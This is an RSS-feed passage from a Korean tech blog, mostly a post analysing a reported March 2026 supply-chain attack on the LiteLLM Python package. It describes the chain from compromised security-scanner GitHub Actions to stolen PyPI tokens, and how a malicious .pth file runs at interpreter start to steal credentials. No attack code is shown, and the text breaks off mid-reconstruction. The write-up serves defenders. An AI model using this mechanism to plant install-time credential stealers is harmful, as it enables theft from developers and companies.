&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;논문: &lt;a href=&quot;https://arxiv.org/abs/2504.13171&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Sleep-time Compute: Beyond Inference Scaling at Test-time&lt;/a&gt; (arXiv:2504.13171)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>ai 메모리</category>
      <category>Auto Dream</category>
      <category>auto memory</category>
      <category>claude code</category>
      <category>CLAUDE.md</category>
      <category>Memory 2.0</category>
      <category>Sleep-time Compute</category>
      <category>메모리 관리</category>
      <category>자동 메모리</category>
      <category>클로드 메모리</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/564</guid>
      <comments>https://goddaehee.tistory.com/564#entry564comment</comments>
      <pubDate>Thu, 26 Mar 2026 22:39:14 +0900</pubDate>
    </item>
    <item>
      <title>pip install litellm 한 번으로 SSH 키가 털렸다 &amp;mdash; 2026 공급망 공격 분석 : 보안 도구가 감염 벡터가 되다</title>
      <link>https://goddaehee.tistory.com/563</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;AI API 키를 한곳에서 관리해 주는 패키지가, 그 API 키를 전부 훔쳐 갔다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2034&quot; data-origin-height=&quot;1148&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjdcjq/dJMcaiQefdH/IfWWxxx7B0NEFKlLbPmpD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjdcjq/dJMcaiQefdH/IfWWxxx7B0NEFKlLbPmpD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjdcjq/dJMcaiQefdH/IfWWxxx7B0NEFKlLbPmpD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcjdcjq%2FdJMcaiQefdH%2FIfWWxxx7B0NEFKlLbPmpD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2034&quot; height=&quot;1148&quot; data-origin-width=&quot;2034&quot; data-origin-height=&quot;1148&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;2026년 3월 24일, 월 9,500만 다운로드의 Python 패키지 &lt;b&gt;LiteLLM&lt;/b&gt;에 악성코드가 심어졌다. 설치만 해도 SSH 키, 클라우드 인증 정보, .env 파일, 암호화폐 지갑까지 전부 수집해서 외부로 전송한다. 쿠버네티스 클러스터에서는 모든 노드에 관리자 권한 컨테이너를 심는다. 재부팅해도 살아남는 백도어까지 설치한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 글에서는 검증된 보안 리포트(Wiz, Endor Labs, FutureSearch, The Hacker News)를 기반으로 사건의 전모, 악성코드의 기술적 구조, 영향 범위, 그리고 지금 당장 해야 할 대응 방법을 정리한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2008&quot; data-origin-height=&quot;1094&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0jhNX/dJMcadVIv6F/WAQxrkPclwPN7btTe0RNiK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0jhNX/dJMcadVIv6F/WAQxrkPclwPN7btTe0RNiK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0jhNX/dJMcadVIv6F/WAQxrkPclwPN7btTe0RNiK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0jhNX%2FdJMcadVIv6F%2FWAQxrkPclwPN7btTe0RNiK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2008&quot; height=&quot;1094&quot; data-origin-width=&quot;2008&quot; data-origin-height=&quot;1094&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;사건 개요 &amp;mdash; 무슨 일이 벌어졌는가&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;TeamPCP 연쇄 공격 타임라인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;감염 경로 &amp;mdash; 보안 도구가 감염 벡터가 되다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;악성코드 기술 분석 &amp;mdash; 3단계 공격 구조&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;발견 경위 &amp;mdash; 악성코드의 버그가 구한 세상&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;영향 범위 &amp;mdash; 내가 위험한가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;지금 당장 해야 할 대응 방법&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;교훈 &amp;mdash; 바이브 코딩 시대의 공급망 보안&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;트러블슈팅 Q&amp;amp;A&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 요약 콜아웃 --&gt;
&lt;div style=&quot;background-color: #f8d7da; padding: 20px; border-radius: 12px; border-left: 5px solid #dc3545; margin-bottom: 30px;&quot;&gt;&lt;b&gt;LiteLLM 공급망 공격 요약 (2026-03-24)&lt;/b&gt;&lt;br /&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 10px 0 0 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 4px 8px; font-weight: 600; width: 140px;&quot;&gt;공격자&lt;/td&gt;
&lt;td style=&quot;padding: 4px 8px;&quot;&gt;TeamPCP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 4px 8px; font-weight: 600;&quot;&gt;감염 버전&lt;/td&gt;
&lt;td style=&quot;padding: 4px 8px;&quot;&gt;1.82.7, 1.82.8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 4px 8px; font-weight: 600;&quot;&gt;감염 경로&lt;/td&gt;
&lt;td style=&quot;padding: 4px 8px;&quot;&gt;Trivy CI/CD 공급망 공격 &amp;rarr; PyPI 토큰 탈취 &amp;rarr; 악성 버전 배포&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 4px 8px; font-weight: 600;&quot;&gt;악성코드 행위&lt;/td&gt;
&lt;td style=&quot;padding: 4px 8px;&quot;&gt;인증 정보 수집 &amp;rarr; AES-256 + RSA-4096 암호화 후 외부 전송 &amp;rarr; 영구 백도어 설치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 4px 8px; font-weight: 600;&quot;&gt;영향 범위&lt;/td&gt;
&lt;td style=&quot;padding: 4px 8px;&quot;&gt;월 9,500만 다운로드, 클라우드 환경의 36%에 존재 (Wiz 추정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 4px 8px; font-weight: 600;&quot;&gt;현재 상태&lt;/td&gt;
&lt;td style=&quot;padding: 4px 8px;&quot;&gt;감염 버전 제거됨. PyPI 전체 패키지 격리 중 (신규 설치 불가). BerriAI 릴리스 중단 상태 (2026-03-26 기준)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 10px 0 0 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://www.wiz.io/blog/threes-a-crowd-teampcp-trojanizes-litellm-in-continuation-of-campaign&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Wiz Research&lt;/a&gt;, &lt;a href=&quot;https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;FutureSearch&lt;/a&gt;, &lt;a href=&quot;https://www.endorlabs.com/learn/teampcp-isnt-done-threat-actor-behind-trivy-and-kics-compromises-now-hits-litellms-95-million-monthly-downloads-on-pypi&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Endor Labs&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 사건 개요 &amp;mdash; 무슨 일이 벌어졌는가&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;LiteLLM이 뭔가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/BerriAI/litellm&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;LiteLLM&lt;/a&gt;은 BerriAI가 만든 오픈소스 Python 라이브러리이자 프록시 서버다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2028&quot; data-origin-height=&quot;1094&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wexgc/dJMcajay4i9/eSOKAHCM3KMlVpcKjJwLik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wexgc/dJMcajay4i9/eSOKAHCM3KMlVpcKjJwLik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wexgc/dJMcajay4i9/eSOKAHCM3KMlVpcKjJwLik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fwexgc%2FdJMcajay4i9%2FeSOKAHCM3KMlVpcKjJwLik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2028&quot; height=&quot;1094&quot; data-origin-width=&quot;2028&quot; data-origin-height=&quot;1094&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI, Anthropic, Google, Azure, AWS Bedrock 등 &lt;b&gt;100개 이상의 LLM 서비스&lt;/b&gt;를 하나의 OpenAI 호환 인터페이스로 통합한다. 기업 입장에서는 여러 AI 서비스의 API 키를 한곳에서 관리하면서 모델을 자유롭게 전환할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;문제는 이 편의성이 공격자에게도 매력적이라는 것이다. LiteLLM이 설치된 서버에는 기업이 사용하는 &lt;b&gt;모든 AI 서비스의 API 키&lt;/b&gt;가 집중되어 있다. 열쇠를 보관하는 금고를 하나 뚫으면, 금고 안의 모든 열쇠가 유출 대상이 된다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0 25px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;패키지&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;litellm (PyPI)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;GitHub&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;BerriAI/litellm (Stars: 40,369개, 2026-03-25 기준)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;월 다운로드&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;약 9,500만 회 (일 340만 회 이상)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;클라우드 보급률&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;전체 클라우드 환경의 36%에 존재 (Wiz 데이터)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;역할&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;100+ LLM 서비스를 OpenAI 호환 포맷으로 통합하는 게이트웨이&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-bottom: 15px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://www.wiz.io/blog/threes-a-crowd-teampcp-trojanizes-litellm-in-continuation-of-campaign&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Wiz Research, 2026-03-24&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;어떤 일이 벌어졌나&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 24일, LiteLLM의 악성 버전 &lt;b&gt;1.82.7&lt;/b&gt;(10:39 UTC)과 &lt;b&gt;1.82.8&lt;/b&gt;(10:52 UTC)이 PyPI에 업로드되었다. GitHub에는 대응하는 태그나 릴리스가 없었다. 정상적인 릴리스 프로세스를 우회하여 &lt;b&gt;PyPI에 직접 업로드&lt;/b&gt;된 것이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;두 버전의 감염 메커니즘은 다르다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1.82.8&lt;/b&gt;에는 &lt;code&gt;litellm_init.pth&lt;/code&gt; 파일이 포함되어 있다. Python의 &lt;code&gt;.pth&lt;/code&gt; 파일은 인터프리터 시작 시 자동 실행된다. &lt;code&gt;import litellm&lt;/code&gt;을 호출할 필요 없이, &lt;b&gt;Python을 실행하기만 하면 악성코드가 작동&lt;/b&gt;한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1.82.7&lt;/b&gt;은 &lt;code&gt;.pth&lt;/code&gt; 대신 &lt;code&gt;proxy_server.py&lt;/code&gt;에 악성코드가 삽입되어, &lt;code&gt;import litellm.proxy&lt;/code&gt; 시에 트리거된다. 프록시 서버를 실행하지 않으면 트리거되지 않지만, LiteLLM을 프록시로 사용하는 환경(대부분의 기업 환경)에서는 동일하게 위험하다.&lt;/p&gt;
&lt;p style=&quot;font-size: 13px; color: #888;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://github.com/BerriAI/litellm/issues/24518&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;LiteLLM 공식 대응 Issue #24518&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;FutureSearch가 PyPI에 최초 신고했고, PyPI가 격리(quarantine) 조치했다. &lt;b&gt;LiteLLM 공식 보안 공지에 따르면 영향 시간대는 10:39 UTC ~ 16:00 UTC (약 5시간 20분)&lt;/b&gt;이다. 감염 버전은 제거되었으며, 2026년 3월 26일 현재 &lt;b&gt;litellm 전체 패키지가 PyPI에서 격리 중&lt;/b&gt;이어서 어떤 버전도 &lt;code&gt;pip install litellm&lt;/code&gt;으로 설치할 수 없는 상태다. BerriAI는 공급망 검토가 완료될 때까지 새 릴리스를 중단했다.&lt;/p&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-bottom: 15px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;FutureSearch, 2026-03-24&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. TeamPCP 연쇄 공격 타임라인&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2042&quot; data-origin-height=&quot;1106&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GWfYq/dJMcaadGcQz/K0trEGv4WDbZd3RwSKdZGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GWfYq/dJMcaadGcQz/K0trEGv4WDbZd3RwSKdZGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GWfYq/dJMcaadGcQz/K0trEGv4WDbZd3RwSKdZGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGWfYq%2FdJMcaadGcQz%2FK0trEGv4WDbZd3RwSKdZGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2042&quot; height=&quot;1106&quot; data-origin-width=&quot;2042&quot; data-origin-height=&quot;1106&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 사건은 단독 범행이 아니다. &lt;b&gt;TeamPCP&lt;/b&gt;라는 공격 그룹이 보안 도구를 연쇄적으로 공격하며 신뢰 체인을 타고 올라간 계획적 캠페인이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0 25px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;날짜&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;대상&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;유형&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;3월 19일&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Trivy (Aqua Security)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;보안 취약점 스캐너&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;trivy-action의 77개 태그 중 76개를 악성 커밋으로 교체. CI/CD 파이프라인의 인증 정보를 수집하는 악성 페이로드 삽입&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;3월 23일&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;KICS (Checkmarx)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;IaC 보안 스캐너&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;KICS GitHub Action을 12:58~16:50 UTC 사이에 감염. 해당 시간대에 이 Action을 사용한 모든 CI/CD에 악성코드 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;3월 24일&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;LiteLLM (BerriAI)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;AI 게이트웨이&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;감염된 Trivy를 CI/CD에서 사용하던 LiteLLM의 PyPI 토큰이 탈취됨. 악성 버전 1.82.7, 1.82.8 직접 배포&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;패턴이 보인다. &lt;b&gt;보안 도구를 먼저 감염시키고, 그 보안 도구를 사용하는 다음 타겟의 인증 정보를 수집하여 연쇄 공격&lt;/b&gt;을 이어간다. Wiz에 따르면 TeamPCP는 GitHub Actions, Docker Hub, npm, Open VSX, PyPI 등 &lt;b&gt;5개 패키지 생태계&lt;/b&gt;에 걸쳐 공격을 확장했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;공급망 공격의 핵심: 신뢰 체인 악용&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;일반적인 해킹은 방화벽이나 인증 시스템을 뚫는다. 공급망 공격은 &lt;b&gt;이미 신뢰받는 도구 자체를 감염&lt;/b&gt;시킨다. CI/CD 파이프라인에서 &quot;보안 스캐너&quot;로 등록된 Trivy가 감염되면, 보안 스캐너를 실행하는 행위 자체가 인증 정보 유출 행위가 된다. 보안 도구가 감염 벡터가 되는 아이러니다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-bottom: 15px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://www.wiz.io/blog/teampcp-attack-kics-github-action&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Wiz - KICS Compromise&lt;/a&gt;, &lt;a href=&quot;https://thehackernews.com/2026/03/teampcp-backdoors-litellm-versions.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The Hacker News&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 감염 경로 &amp;mdash; 보안 도구가 감염 벡터가 되다&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2026&quot; data-origin-height=&quot;1102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VoTLZ/dJMcagrpmld/eFqkIJURinhUIANJ91UPak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VoTLZ/dJMcagrpmld/eFqkIJURinhUIANJ91UPak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VoTLZ/dJMcagrpmld/eFqkIJURinhUIANJ91UPak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVoTLZ%2FdJMcagrpmld%2FeFqkIJURinhUIANJ91UPak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2026&quot; height=&quot;1102&quot; data-origin-width=&quot;2026&quot; data-origin-height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;LiteLLM의 CI/CD 파이프라인에는 Trivy가 보안 취약점 스캔 도구로 등록되어 있었다. 정상적이라면 코드 푸시 때마다 Trivy가 취약점을 검사하고, 문제가 없으면 빌드를 통과시키고, PyPI에 배포하는 흐름이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;문제는 3월 19일부터 Trivy 자체가 감염된 상태였다는 것이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 15px 0 25px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;## 공격 흐름 (재구성)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;1. TeamPCP가 Trivy GitHub Action의 태그 76/77개를 악성 커밋으로 교체&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;2. 감염된 Trivy가 CI/CD에서 실행될 때 환경변수(PyPI 토큰 포함)를 수집&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;3. LiteLLM의 CI/CD에서 감염된 Trivy가 실행됨&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;4. LiteLLM의 PyPI API 토큰이 TeamPCP에 전달됨&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;5. 